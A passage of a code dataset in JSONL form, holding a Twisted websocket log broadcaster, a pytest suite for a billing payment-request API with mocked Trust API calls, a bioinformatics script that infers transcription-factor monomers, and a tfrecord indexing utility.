{0}'.format(reason))\n\n    def connectionLost(self, reason):\n        WebSocketServerProtocol.connectionLost(self, reason)\n        self.factory.unregister(self)\n\n\nclass LogsServerFactory(WebSocketServerFactory):\n\n    def __init__(self, url):\n        WebSocketServerFactory.__init__(self, url)\n        self.clients = []\n\n    def register(self, client):\n        if client not in self.clients:\n            print('Registered client {}'.format(client.peer))\n            self.clients.append(client)\n\n    def unregister(self, client):\n        if client in self.clients:\n            print('Unregistered client {}'.format(client.peer))\n            self.clients.remove(client)\n\n    def broadcast(self, msg):\n        for c in self.clients:\n            c.sendMessage(msg.encode('utf8'))\n            print('message sent to {}'.format(c.peer))\n\n\ndef runEveryXSeconds(logs_factory):\n    log_message_example_1 = {\n        'title': 'First log message',\n        'id': 2435626,\n        'message': 'First log message example',\n        'data': datetime.datetime.utcnow(),\n        'content': {\n            'source': 'server',\n            'key': '23SDFG-SDFH5E-3456',\n            'app': 'nginx',\n            'data': {\n                's_id': 857679,\n                'msg': 'try again',\n                'status': 'error',\n            },\n        },\n    }\n    log_message_example_2 = {\n        'title': 'Second log message',\n        'id': 990204,\n        'message': 'Second log message example',\n        'data': datetime.datetime.utcnow(),\n        'content': {\n            'source': 'server',\n            'key': '55SDAS-SDFH5E-8811',\n            'app': 'nginx',\n            'data': {\n                's_id': 223125,\n                'msg': 'try again',\n                'status': 'error',\n            },\n        },\n    }\n    logs = [log_message_example_1, log_message_example_2]\n    logs_factory.broadcast(json.dumps(logs))\n\n\ndef main():\n\n    ssl_context = ssl.DefaultOpenSSLContextFactory(\n        KEY_PATH_KEY,\n        KEY_PATH_CRT\n    )\n\n    logs_factory = LogsServerFactory(\n        'wss://127.0.0.1:{0}'.format(\n            PORT_FOR_LOGS_SERVER,\n        )\n    )\n    logs_factory.protocol = LogsServerProtocol\n    listenWS(logs_factory, ssl_context)\n\n    loop = task.LoopingCall(runEveryXSeconds, logs_factory)\n    loop.start(3.0)  # call every 3 second\n\n    reactor.run()\n\n\nif __name__ == '__main__':\n    main()\n\n\n","repo_name":"w512/from-server-to-browser-logger","sub_path":"server/server_logs.py","file_name":"server_logs.py","file_ext":"py","file_size_in_byte":3433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29053614647","text":"# -*- coding: utf-8 -*-\n\nimport json\nimport xmlrpclib\nfrom xmlrpclib import Fault\n\nimport datetime\nimport httpretty\nimport mock\nfrom mock import call\nimport pytest\nimport time\nimport re\n\nfrom lxml import etree\n\nimport balance.constants as cst\nfrom balance import (\n    mapper,\n    exc,\n    muzzle_util as ut,\n)\nfrom balance.application import getApplication\nfrom balance.trust_api import balance_payments\nfrom tests import tutils as tut\nfrom tests.object_builder import (\n    get_big_number,\n    ClientBuilder,\n    ProductBuilder,\n    OrderBuilder,\n    PersonBuilder,\n    BasketBuilder,\n    BasketItemBuilder,\n    RequestBuilder,\n    InvoiceBuilder,\n    create_pay_policy_service,\n    create_pay_policy_region,\n    create_pay_policy_payment_method,\n    TrustApiPaymentBuilder,\n)\n\nCURRENT_DT = datetime.datetime.now()\nCURRENT_TS = '%d' % (time.mktime(CURRENT_DT.timetuple()) * 1000)\n\nERROR_TYPE_PATTERN = \"Error: (\\w+)\\nDescription: (.*)\"\nTRUST_API_URL = 'https://trust-payments-dev.paysys.yandex.net:8028/trust-payments/v2/payment_methods'\nSIMPLE_API_URL = 'balance-payments-dev.paysys.yandex.net:8023/simpleapi/xmlrpc'\nPAYMENT_INFO_NEW = {\n    'status': 'success',\n    'cancel_ts': '',\n    'payment_ts': '',\n    'postauth_ts': '',\n    'resp_code': None,\n    'resp_desc': None,\n    'transaction_id': '666-transaction-666',\n    'ts': CURRENT_TS,\n    'amount': '100',\n    'currency': 'RUR',\n    'developer_payload': 'payload'\n}\n\n\n@pytest.fixture\ndef client(session):\n    return ClientBuilder().build(session).obj\n\n\n@pytest.fixture\ndef person(session, client):\n    return PersonBuilder(client=client, name='Name').build(session).obj\n\n\n@pytest.fixture\ndef service_id(session):\n    service_id = get_big_number()\n    service_params = session.execute('select * from bo.t_service where id = 7').fetchone()\n    new_params = dict(service_params)\n    new_params['id'] = service_id\n    new_params['cc'] = service_id\n\n    service_insert_sql = 'insert into t_service (%s) values (%s)' % (\n        ', '.join(k for k in new_params),\n        ', '.join(':%s' % k for k in new_params)\n    )\n    session.execute(service_insert_sql, new_params)\n\n    paysys_ccs = ['ur_trust_card_RUB', 'ph_trust_card_RUB']\n    paysyses = session.query(mapper.Paysys) \\\n        .filter(\n        mapper.Paysys.cc.in_(paysys_ccs),\n        mapper.Paysys.firm_id == cst.FirmId.YANDEX_OOO\n    )\n\n    session.execute(\n        'insert into t_paysys_service (service_id, paysys_id, weight, extern) values (:s_id, :ps_id, 666, 0)',\n        [\n            {'s_id': service_id, 'ps_id': ps.id}\n            for ps in paysyses\n        ]\n    )\n    ppp_id = create_pay_policy_service(session, service_id, cst.FirmId.YANDEX_OOO)\n    create_pay_policy_payment_method(session, ppp_id, 'RUB', cst.PaymentMethodIDs.credit_card, paysyses[0].group_id)\n\n    create_pay_policy_region(session, ppp_id, cst.RegionId.RUSSIA)\n\n    return service_id\n\n\n@pytest.fixture\ndef invoice(session, request_obj, person):\n    paysys = session.query(mapper.Paysys).filter_by(cc='ph_trust_card_RUB', firm_id=1).one()\n    return InvoiceBuilder(\n        request=request_obj,\n        person=person,\n        paysys=paysys\n    ).build(session).obj\n\n\n@pytest.fixture\ndef request_obj(session, service_id, client):\n    product = ProductBuilder(price=10, engine_id=service_id)\n    order = OrderBuilder(client=client, product=product, service_id=service_id)\n\n    return RequestBuilder(\n        basket=BasketBuilder(\n            rows=[BasketItemBuilder(quantity=10, order=order)]\n        )\n    ).build(session).obj\n\n\ndef get_billing_dev_payload(\n    invoice,  # type: mapper.Invoice\n):  # type: (...) -> str\n    return json.dumps({\n        'pass_params': {\n            'terminal_route_data': {\n                'firm_id': invoice.firm_id\n            }\n        }\n    })\n\n\ndef get_real_request_id(real_session, test_name):\n    with real_session.begin():\n        query = '''\n        select object_id from bo.t_test_committed_objects\n        where test_name = :test_name and object_name = 'request'\n        '''\n        res = real_session.execute(query, {'test_name': test_name}).fetchone()\n        if res:\n            request_id = res.object_id\n        else:\n            request = RequestBuilder().build(real_session).obj\n            real_session.add(request)\n            query = '''\n            insert into bo.t_test_committed_objects (test_name, object_name, object_id)\n            VALUES (:test_name, 'request', :request_id)\n            '''\n            real_session.execute(query, {'test_name': test_name, 'request_id': request.id})\n            request_id = request.id\n\n    return request_id\n\n\ndef test_pay_request_locks(session, medium_xmlrpc):\n    session.oracle_namespace_lock('test_pay_request_locks', lockmode='exclusive', timeout=10)\n\n    real_session = getApplication().real_new_session()\n    request_id = get_real_request_id(real_session, 'test_pay_request_locks')\n\n    with real_session.begin():\n        request = real_session.query(mapper.Request).with_lockmode('update_nowait').getone(request_id)\n        with pytest.raises(Fault) as exc_info:\n            medium_xmlrpc.PayRequest(\n                session.oper_id,\n                {\n                    'request_id': request.id,\n                    'payment_method_id': 'card-666',\n                    'currency': 'RUB',\n                    'person_id': 123456\n                }\n            )\n        msg = 'Request {} is locked by another operation'.format(request.id)\n        assert tut.get_exception_code(exc_info.value, 'msg') == msg\n\n\ndef check_required_ans(call_res):\n    required_ans = {\n        'cancel_dt': None,\n        'payment_dt': None,\n        'postauth_dt': None,\n        'resp_code': None,\n        'resp_desc': None,\n        'transaction_id': '666-transaction-666',\n        'dt': CURRENT_DT,\n        'amount': '100',\n        'currency': 'RUR',\n        'developer_payload': 'payload',\n    }\n    assert required_ans == call_res\n\n\n@pytest.fixture\ndef patch_get_payment(session, request_obj):\n    def _payment_from_id(payment_id):\n        invoice = sorted(request_obj.invoices, key=lambda i: i.id)[-1]\n        return ut.Struct(transaction_id=payment_id, invoice=invoice, invoice_id=invoice.id)\n\n    import balance.trust_api.balance_payments as api\n    return mock.patch.object(api.BalancePaymentsApi, '_payment_from_id', side_effect=_payment_from_id)\n\n\ndef register_payment_methods(payment_method, firm_id, currency, id, status_code=200):\n    httpretty.register_uri(\n        httpretty.GET,\n        'https://trust-payments-dev.paysys.yandex.net:8028/trust-payments/v2/payment_methods',\n        json.dumps({\"status\": \"success\",\n                    \"enabled_payment_methods\": [{\"payment_method\": payment_method,\n                                                 \"firm_id\": firm_id,\n                                                 \"currency\": currency,\n                                                 \"id\": id\n                                                 }],\n                    }),\n        status=status_code)\n\n\ndef test_wrong_paymethod(session, medium_xmlrpc, request_obj, person):\n    register_payment_methods(\"bank\", 1, \"RUB\", 'card-6666')\n\n    with pytest.raises(xmlrpclib.Fault) as exc_info:\n        medium_xmlrpc.PayRequest(\n            session.oper_id,\n            {\n                'request_id': request_obj.id,\n                'payment_method_id': 'card-6666',\n                'currency': 'RUB',\n                'person_id': person.id\n            }\n        )\n\n    assert 'No payment options available' in exc_info.value.faultString\n    assert [] == request_obj.invoices\n    assert 1 == request_obj.seq\n\n\ndef test_anon(\n    session, service_id, medium_xmlrpc, request_obj,\n    person, patch_get_payment,\n):\n    old_oper_id = session.oper_id\n    session.oper_id = 0\n\n    import balance.trust_api.balance_payments as api\n    patch_api = mock.patch.object(api.BalancePaymentsApi, 'do_call',\n                                  side_effect=[{'transaction_id': '666-transaction-666'},\n                                               PAYMENT_INFO_NEW])\n\n    with patch_api as a, patch_get_payment:\n        call_res = medium_xmlrpc.PayRequest(\n            0,\n            {\n                'request_id': request_obj.id,\n                'payment_method_id': 'trust_web_page',\n                'currency': 'RUB',\n                'person_id': person.id\n            }\n        )\n    session.oper_id = old_oper_id\n\n    assert 'invoice_id' in call_res\n    assert 'request_id' in call_res\n\n    invoice_id = call_res.pop('invoice_id')\n    request_id = call_res.pop('request_id')\n    assert str(request_obj.id) == str(request_id)\n    assert [i.id for i in request_obj.invoices] == [invoice_id]\n\n    check_required_ans(call_res)\n\n    a.assert_has_calls([\n        call(\n            'CreatePaymentForInvoice',\n            invoice_id=invoice_id,\n            paymethod_id=u'trust_web_page',\n            developer_payload=get_billing_dev_payload(request_obj.invoices[0]),\n        ),\n        call('StartTrustAPIPayment', transaction_id=u'666-transaction-666')\n    ],)\n\n\n@pytest.mark.parametrize(\n    'additional_params',\n    [\n        {},\n        {'payment_mode': 'reccurent', 'lang': 'ru'}\n    ],\n)\ndef test_ok_w_person(\n    session, medium_xmlrpc, request_obj, person,\n    additional_params, patch_get_payment,\n):\n    register_payment_methods(\"card\", 1, \"RUB\", 'card-666')\n\n    import balance.trust_api.balance_payments as api\n    patch_api = mock.patch.object(api.BalancePaymentsApi, 'do_call',\n                                  side_effect=[{'transaction_id': '666-transaction-666'},\n                                               PAYMENT_INFO_NEW])\n    with patch_api as calls, patch_get_payment:\n        call_res = medium_xmlrpc.PayRequest(\n            session.oper_id,\n            {\n                'request_id': request_obj.id,\n                'payment_method_id': 'card-666',\n                'currency': 'RUB',\n                'person_id': person.id,\n                'payment_mode': additional_params.get('payment_mode'),\n                'lang': additional_params.get('lang')\n            }\n        )\n\n    assert 'invoice_id' in call_res\n    assert 'request_id' in call_res\n\n    invoice_id = call_res.pop('invoice_id')\n    request_id = call_res.pop('request_id')\n    assert str(request_obj.id) == str(request_id)\n    assert [i.id for i in request_obj.invoices] == [invoice_id]\n    assert request_obj.payment_uid == '666-transaction-666'\n\n    check_required_ans(call_res)\n    if additional_params:\n        calls.assert_has_calls([\n            call(\n                'CreatePaymentForInvoice',\n                invoice_id=invoice_id,\n                passport_id=session.oper_id,\n                paymethod_id=u'card-666',\n                payment_mode='reccurent',\n                lang='ru',\n                developer_payload=get_billing_dev_payload(request_obj.invoices[0]),\n            ),\n            call('StartTrustAPIPayment', transaction_id=u'666-transaction-666'),\n        ])\n    else:\n        calls.assert_has_calls([\n            call(\n                'CreatePaymentForInvoice',\n                invoice_id=invoice_id,\n                passport_id=session.oper_id,\n                paymethod_id=u'card-666',\n                developer_payload=get_billing_dev_payload(request_obj.invoices[0]),\n            ),\n            call('StartTrustAPIPayment', transaction_id=u'666-transaction-666'),\n        ])\n\n\ndef test_ok_double_call_payment_uid(\n    session, medium_xmlrpc, request_obj,\n    person, patch_get_payment,\n):\n    register_payment_methods(\"card\", 1, \"RUB\", 'card-666')\n\n    import balance.trust_api.balance_payments as api\n    patch_api = mock.patch.object(api.BalancePaymentsApi, 'do_call',\n                                  side_effect=[{'transaction_id': '666-transaction-666'},\n                                               PAYMENT_INFO_NEW])\n    with patch_api as calls, patch_get_payment:\n        first_call_res = medium_xmlrpc.PayRequest(\n            session.oper_id,\n            {\n                'request_id': request_obj.id,\n                'payment_method_id': 'card-666',\n                'currency': 'RUB',\n                'person_id': person.id\n            }\n        )\n\n    first_invoice_id = first_call_res['invoice_id']\n    first_invoice = session.query(mapper.Invoice).get(first_invoice_id)\n\n    calls.assert_has_calls([\n        call(\n            'CreatePaymentForInvoice',\n            invoice_id=first_invoice_id,\n            passport_id=session.oper_id,\n            paymethod_id=u'card-666',\n            developer_payload=get_billing_dev_payload(first_invoice),\n        ),\n        call(\n            'StartTrustAPIPayment',\n            transaction_id=u'666-transaction-666'\n        ),\n    ])\n\n    assert request_obj.payment_uid == '666-transaction-666'\n\n    patch_api_second_time = mock.patch.object(api.BalancePaymentsApi, 'do_call',\n                                              side_effect=[PAYMENT_INFO_NEW])\n\n    with patch_api_second_time as calls, patch_get_payment:\n        call_res = medium_xmlrpc.PayRequest(\n            session.oper_id,\n            {\n                'request_id': request_obj.id,\n                'payment_method_id': 'card-666',\n                'currency': 'RUB',\n                'person_id': person.id\n            }\n        )\n\n    assert 'invoice_id' in call_res\n    assert 'request_id' in call_res\n\n    invoice_id = call_res.pop('invoice_id')\n    assert invoice_id == first_invoice_id\n    request_id = call_res.pop('request_id')\n    assert str(request_obj.id) == str(request_id)\n    assert [i.id for i in request_obj.invoices] == [invoice_id]\n    assert request_obj.payment_uid == '666-transaction-666'\n\n    check_required_ans(call_res)\n\n    calls.assert_has_calls([call('StartTrustAPIPayment', transaction_id=u'666-transaction-666')], )\n\n\ndef test_ok_double_call_no_payment_uid(\n    session, medium_xmlrpc, request_obj,\n    invoice, person, patch_get_payment,\n):\n    register_payment_methods(\"card\", 1, \"RUB\", 'card-666')\n\n    import balance.trust_api.balance_payments as api\n    patch_api = mock.patch.object(api.BalancePaymentsApi, 'do_call',\n                                  side_effect=[{'transaction_id': '666-transaction-666'},\n                                               PAYMENT_INFO_NEW])\n\n    TrustApiPaymentBuilder(transaction_id='666-transaction-666', invoice=invoice).build(session)\n    assert request_obj.payment_uid is None\n\n    with patch_api as calls, patch_get_payment:\n        call_res = medium_xmlrpc.PayRequest(\n            session.oper_id,\n            {\n                'request_id': request_obj.id,\n                'payment_method_id': 'card-666',\n                'currency': 'RUB',\n                'person_id': person.id\n            }\n        )\n    session.expire_all()\n\n    assert 'invoice_id' in call_res\n    assert 'request_id' in call_res\n\n    created_invoice_id = call_res.pop('invoice_id')\n    request_id = call_res.pop('request_id')\n    assert str(request_obj.id) == str(request_id)\n    assert sorted(i.id for i in request_obj.invoices) == sorted([invoice.id, created_invoice_id])\n    assert request_obj.payment_uid == '666-transaction-666'\n\n    check_required_ans(call_res)\n\n    calls.assert_has_calls(\n        [\n            call(\n                'CreatePaymentForInvoice',\n                invoice_id=created_invoice_id,\n                passport_id=session.oper_id,\n                paymethod_id=u'card-666',\n                developer_payload=get_billing_dev_payload(request_obj.invoices[0]),\n            ),\n            call('StartTrustAPIPayment', transaction_id=u'666-transaction-666'),\n        ]\n    )\n\n\ndef test_ok_double_call_with_invoice(\n    session, medium_xmlrpc, request_obj,\n    person, invoice, patch_get_payment,\n):\n    register_payment_methods(\"card\", 1, \"RUB\", 'card-666')\n\n    import balance.trust_api.balance_payments as api\n    patch_api = mock.patch.object(api.BalancePaymentsApi, 'do_call',\n                                  side_effect=[{'transaction_id': '666-transaction-666'},\n                                               PAYMENT_INFO_NEW])\n    with patch_api as calls, patch_get_payment:\n        call_res = medium_xmlrpc.PayRequest(\n            session.oper_id,\n            {\n                'request_id': request_obj.id,\n                'payment_method_id': 'card-666',\n                'currency': 'RUB',\n                'person_id': person.id\n            }\n        )\n\n    assert 'invoice_id' in call_res\n    assert 'request_id' in call_res\n\n    res_invoice_id = call_res.pop('invoice_id')\n    assert res_invoice_id != invoice.id\n    request_id = call_res.pop('request_id')\n    assert str(request_obj.id) == str(request_id)\n    assert sorted(i.id for i in request_obj.invoices) == sorted([invoice.id, res_invoice_id])\n    assert request_obj.payment_uid == '666-transaction-666'\n\n    check_required_ans(call_res)\n\n    calls.assert_has_calls(\n        [\n            call(\n                'CreatePaymentForInvoice',\n                invoice_id=res_invoice_id,\n                passport_id=session.oper_id,\n                paymethod_id=u'card-666',\n                developer_payload=get_billing_dev_payload(request_obj.invoices[0]),\n            ),\n            call('StartTrustAPIPayment', transaction_id=u'666-transaction-666')],\n    )\n\n\n@pytest.mark.parametrize('status_code', [404, 502])\ndef test_error_502_payment_methods(session, medium_xmlrpc, request_obj, person, patch_get_payment,\n                                   status_code):\n    register_payment_methods(\"card\", 1, \"RUB\", 'card-666', status_code=status_code)\n\n    import balance.trust_api.balance_payments as api\n    patch_api = mock.patch.object(api.BalancePaymentsApi, 'do_call',\n                                  side_effect=[{'transaction_id': '666-transaction-666'},\n                                               PAYMENT_INFO_NEW])\n    with patch_api as calls, patch_get_payment, pytest.raises(Fault) as exc_info:\n        response = medium_xmlrpc.PayRequest(\n            session.oper_id,\n            {\n                'request_id': request_obj.id,\n                'payment_method_id': 'card-666',\n                'currency': 'RUB',\n                'person_id': person.id\n            }\n        )\n\n    if status_code == 404:\n        match = re.match(ERROR_TYPE_PATTERN, exc_info.value.faultString)\n        assert match.group(2) == '404 Client Error: Not Found for url: {}?show_enabled=1&show_bound=1'.format(\n            TRUST_API_URL)\n    else:\n        error_text = 'Error in connecting to trust api: 502 Server Error: Bad Gateway for url: {}' \\\n                     '?show_enabled=1&show_bound=1'.format(TRUST_API_URL)\n        assert tut.get_exception_code(exc_info.value, 'code') == 'TRUST_API_CONNECT_EXCEPTION'\n        assert tut.get_exception_code(exc_info.value, 'msg') == error_text\n\n\n@pytest.mark.parametrize('status_code', [404, 502])\ndef test_error_502_simpleapi(session, medium_xmlrpc, request_obj, person, status_code):\n    register_payment_methods(\"card\", 1, \"RUB\", 'card-666', status_code=200)\n\n    def get_response():\n        response = etree.Element('root')\n        return response\n\n    httpretty.register_uri(\n        httpretty.POST,\n        'https://balance-payments-dev.paysys.yandex.net:8023/simpleapi/xmlrpc',\n        get_response(),\n        status=status_code)\n    with pytest.raises(Fault) as exc_info:\n        response = medium_xmlrpc.PayRequest(\n            session.oper_id,\n            {\n                'request_id': request_obj.id,\n                'payment_method_id': 'card-666',\n                'currency': 'RUB',\n                'person_id': person.id\n            }\n        )\n    if status_code == 404:\n        match = re.match(ERROR_TYPE_PATTERN, exc_info.value.faultString)\n        assert match.group(2) == '<ProtocolError for {}: 404 Not Found>'.format(SIMPLE_API_URL)\n    else:\n        error_text = 'Error in connecting to trust api: <ProtocolError for {}: 502 Bad Gateway>'.format(\n            SIMPLE_API_URL)\n        assert tut.get_exception_code(exc_info.value, 'code') == 'TRUST_API_CONNECT_EXCEPTION'\n        assert tut.get_exception_code(exc_info.value, 'msg') == error_text\n\n\ndef check_same_dict(\n    original_dict,  # type: dict[K, Any]\n    updated_dict,  # type: dict[K, Any]\n    skip_keys=(),  # type: Iterable[K]\n):\n    for k, v in original_dict.items():\n        if k not in skip_keys:\n            assert updated_dict[k] == v\n\n\n@pytest.mark.parametrize(\n    'dev_payload',\n    [\n        {},\n        {'foo': 'bar'},\n        {'pass_params': {}},\n        {'pass_params': {\n            'terminal_route_data': {}\n        }},\n        {'pass_params': {\n            'terminal_route_data': {'try': 'this'}\n        }},\n    ]\n)\ndef test_billing_payload_populate(invoice, patch_get_payment, dev_payload):\n    processed_payload = balance_payments.populate_terminal_route_data(invoice, developer_payload=dev_payload)\n\n    assert processed_payload['pass_params']['terminal_route_data']['firm_id'] == invoice.firm.id\n\n    check_same_dict(dev_payload, processed_payload, skip_keys=['pass_params'])\n    if 'pass_params' not in dev_payload:\n        return\n\n    check_same_dict(\n        dev_payload['pass_params'],\n        processed_payload['pass_params'],\n        skip_keys=['terminal_route_data'],\n    )\n\n    if 'terminal_route_data' not in dev_payload['pass_params']:\n        return\n\n    check_same_dict(\n        dev_payload['pass_params']['terminal_route_data'],\n        processed_payload['pass_params']['terminal_route_data'],\n    )\n\n\n@pytest.mark.parametrize(\n    'dev_payload',\n    [\n        {'pass_params': []},\n        {'pass_params': {\n            'terminal_route_data': []\n        }},\n        {'pass_params': {\n            'terminal_route_data': {'firm_id': 3}\n        }},\n    ]\n)\ndef test_billing_payload_populate_failure(invoice, patch_get_payment, dev_payload):\n    with pytest.raises(exc.BALANCE_PAYMENTS_VALIDATION_EXCEPTION):\n        balance_payments.populate_terminal_route_data(invoice, developer_payload=dev_payload)\n\n\n@pytest.mark.parametrize(\n    ['input_payload', 'expected_parsed_payload'],\n    [\n        ('666', 666),\n        ('{\"foo\": \"bar\"}', {u'foo': u'bar'}),\n        (u'{\"foo\": \"абв\"}', {u'foo': u'абв'}),\n        ('{}', {}),\n        (None, {})\n    ],\n)\ndef test_parse_developer_payload(input_payload, expected_parsed_payload):\n    assert balance_payments.parse_developer_payload(input_payload) == expected_parsed_payload\n\n\n@pytest.mark.parametrize(\n    'input_payload',\n    [\n        \"\",\n        \"{abc}\",\n        \"abc:xyz\",\n    ]\n)\ndef test_parse_developer_payload_fails(input_payload):\n    with pytest.raises(exc.BALANCE_PAYMENTS_VALIDATION_EXCEPTION) as e:\n        balance_payments.parse_developer_payload(input_payload)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/medium_tests/logic/test_PayRequest.py","file_name":"test_PayRequest.py","file_ext":"py","file_size_in_byte":22627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71448506000","text":"\"\"\"\r\nCreated on Aug. 07, 2023\r\n\r\n@author: Chun-Ping Yu\r\n@mail: chpngyu@gmail.com\r\n\"\"\"\r\nimport numpy as np\r\nimport motif\r\nimport networkx as nx\r\nfrom pwm import MEME\r\n\r\n\r\ndef read_PPI(filename):\r\n    biogrid = nx.Graph()\r\n    with open(filename) as infile:\r\n        infile.readline()\r\n        for line in infile:\r\n            tokens = line.split('\\t')\r\n            p1, p2 = tokens[:2]\r\n            biogrid.add_edge(p1.upper(), p2.upper())\r\n    print(f'There are {biogrid.number_of_nodes()} nodes and {biogrid.number_of_edges()} edges in {filename}')\r\n    return biogrid\r\n\r\n\r\nclass Monomer:\r\n    def __init__(self, _pwm, _init_kmer=3, _upper_kmer=6, overlap=0, _minIC=0.3):\r\n        self.pwm = _pwm\r\n        self.kmer = _init_kmer\r\n        self.upper_kmer = _upper_kmer\r\n        self.overlap = overlap\r\n        self.minIC = _minIC\r\n\r\n    def search(self, min_corr=0.8):\r\n        pwm_width = self.pwm.shape[0]\r\n        aligned_motif = {}\r\n        for window in range(self.upper_kmer, self.kmer-1, -1):\r\n            minIC = self.minIC * window\r\n            for start in range(0, pwm_width - 2 * window + self.overlap + 1):\r\n                end = start + window\r\n                sub_pwm1 = self.pwm[start:end, :]\r\n                IC1 = motif.information_content(sub_pwm1)\r\n                if IC1 < minIC:\r\n                    continue\r\n                start2 = start + window - self.overlap\r\n                sub_pwm2 = self.pwm[start2:, :]\r\n                if sub_pwm2.shape[0] < window:\r\n                    continue\r\n                corr, aligned_strand = motif.piece_correlation(sub_pwm2, sub_pwm1)\r\n                # print(start, start2, window)\r\n                # print(corr, aligned_strand)\r\n                if max(corr) >= min_corr:\r\n                    idx = np.argmax(corr)\r\n                    strand = aligned_strand[idx]\r\n                    if strand == 1:\r\n                        aligned_motif['Direction'] = 'repeat'\r\n                    else:\r\n                        aligned_motif['Direction'] = 'palindrome'\r\n                    aligned_motif['Correlation'] = corr[idx]\r\n                    aligned_motif['Width'] = window\r\n                    aligned_motif['Aligned position (Left)'] = start+1\r\n                    aligned_start2 = start2 + idx\r\n                    aligned_end2 = aligned_start2 + window\r\n                    aligned_motif['Aligned position (Right)'] = aligned_start2 +1\r\n                    IC2 = motif.information_content(self.pwm[aligned_start2:aligned_end2])\r\n                    aligned_motif['Left IC'] = IC1\r\n                    aligned_motif['Right IC'] = IC2\r\n                    if IC2 > IC1:\r\n                        aligned_motif['sub-motif'] = self.pwm[aligned_start2:aligned_end2]\r\n                        aligned_motif['Sub-motif used'] = 'Right'\r\n                    else:\r\n                        aligned_motif['sub-motif'] = sub_pwm1\r\n                        aligned_motif['Sub-motif used'] = 'Left'\r\n                if len(aligned_motif) > 0:\r\n                    return aligned_motif\r\n        return aligned_motif\r\n\r\n\r\nif __name__ == '__main__':\r\n    import argparse\r\n    parser = argparse.ArgumentParser(prog=f'{__file__}', description='Infer a monomer in a motif')\r\n    # add options\r\n    parser.add_argument('-m', '--motif', type=str, required=True,\r\n                        help='give a set of motif(s) to be inferred their monomer(s)')\r\n    parser.add_argument('-i', '--interact', type=str, required=True,\r\n                        help='external database to check whether a TF can be formed a homodimer')\r\n    parser.add_argument('-c', '--correlation', type=float, default=0.8,\r\n                        help='only consider a monomer that it is similar with its partner in a same motif'\r\n                             ' (default: 0.8)')\r\n    parser.add_argument('-k', '--kmer', type=int, nargs='+', default=[3],\r\n                        help='set size(s) of k-mer form a to b (default: a=b=3)')\r\n    parser.add_argument('--overlap', type=int, default=0,\r\n                        help='allow two monomers has a maximum length of a overlap with the give value '\r\n                             '(default: 0; no overlap)')\r\n    parser.add_argument('--mIC', type=float, default=0.5,\r\n                        help='only keep sub-motif which has a minimum IC per base (default: 0.5)')\r\n    parser.add_argument('--monomer', type=str, default='monomer.meme',\r\n                        help='output PWMs for the inferred monomers to a file (default: monomer.mem)')\r\n    parser.add_argument('-o', '--output', type=str, default='monomer.txt',\r\n                        help='output file that include name of monomer and its alignment (default: monomer.txt)')\r\n    # parse arguments\r\n    args = parser.parse_args()\r\n\r\n    input_motif = MEME(args.motif)\r\n    print(f'Got {len(input_motif)} motifs from {args.motif}')\r\n\r\n    ppi = read_PPI(args.interact)\r\n\r\n    if len(args.kmer) == 1:\r\n        min_kmer = args.kmer[0]\r\n        max_kmer = min_kmer\r\n    else:\r\n        min_kmer = args.kmer[0]\r\n        max_kmer = args.kmer[1]\r\n\r\n    output_motif = MEME()\r\n    columns = ['Width', 'Aligned position (Left)', 'Aligned position (Right)', 'Correlation',\r\n               'Left IC', 'Right IC', 'Sub-motif used', 'Direction']\r\n    out_file = open(args.output, 'w')\r\n    out_file.write('TF\\tPWM ID of TF\\tMonomer ID\\t')\r\n    out_file.write('\\t'.join(columns))\r\n    out_file.write('\\tHomodimer\\n')\r\n    for PWM_ID in input_motif.data:\r\n        pwm = input_motif.get(PWM_ID)\r\n        monomer = Monomer(pwm, min_kmer, max_kmer, args.overlap, args.mIC)\r\n        sub_motif = monomer.search(args.correlation)\r\n        if len(sub_motif) == 0:\r\n            continue\r\n        TF_name = PWM_ID.split('_')[0]\r\n        is_dimer = 'No'\r\n        if TF_name in ppi:\r\n            if TF_name in ppi.neighbors(TF_name):\r\n                monomerID = f'monomer_{TF_name}'\r\n                is_dimer = 'Yes'\r\n            else:\r\n                monomerID = f'sub_motif_{TF_name}'\r\n        else:\r\n            monomerID = f'sub_motif_{TF_name}'\r\n\r\n        if is_dimer:\r\n            output_motif.add(monomerID, sub_motif['sub-motif'], no_sites=2)\r\n        out_file.write(f'{TF_name}\\t{PWM_ID}\\t{monomerID}')\r\n        for column in columns:\r\n            out_file.write(f'\\t{sub_motif[column]}')\r\n        out_file.write(f'\\t{is_dimer}\\n')\r\n    out_file.close()\r\n    output_motif.write(args.monomer)\r\n    print(f'Done. Please see {args.output} and {args.monomer}')\r\n","repo_name":"chpngyu/chip-seq-pipeline","sub_path":"dimer/infer_monomer.py","file_name":"infer_monomer.py","file_ext":"py","file_size_in_byte":6466,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"8550736012","text":"from argparse import ArgumentParser\nfrom pathlib import Path\n\nfrom tfrecord.tools import tfrecord2idx\n\n\nif __name__ == \"__main__\":\n    parser = ArgumentParser(\"Create .index files for .tfrecord files in the dataset.\")\n    parser.add_argument(\"--dataset_root\", type=str, required=True)\n\n    args = parser.parse_args()\n\n    # Dataset from https://github.com/google-research/google-research/tree/master/genomics_ood\n    DATASET_ROOT = Path(args.dataset_root)\n    assert DATASET_ROOT.is_dir(), \"Provided dataset root does not exist.\"\n\n    id_train_path = DATASET_ROOT / \"before_2011_in_tr\"\n    id_val_path = DATASET_ROOT / \"between_2011-2016_in_val\"\n    id_test_path = DATASET_ROOT / \"after_2016_in_test\"\n\n    ood_val_path = DATASET_ROOT / \"between_2011-2016_ood_val\"\n    ood_test_path = DATASET_ROOT / \"after_2016_ood_test\"\n\n    splits = {\n        \"train\": id_train_path,\n        \"val\": id_val_path,\n        \"test\": id_test_path,\n        \"val_ood\": ood_val_path,\n        \"test_ood\": ood_test_path\n    }\n\n    for split, split_path in splits.items():\n        tf_record_files = [f for f in split_path.iterdir() if f.suffix == \".tfrecord\"]\n        for tf_record_file in tf_record_files:\n            tf_index_file = tf_record_file.parent / (tf_record_file.stem + \".index\")\n            tfrecord2idx.create_index(str(tf_record_file), str(tf_index_file))\n","repo_name":"selflein/genomics_ood","sub_path":"create_index_for_tf_record.py","file_name":"create_index_for_tf_record.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
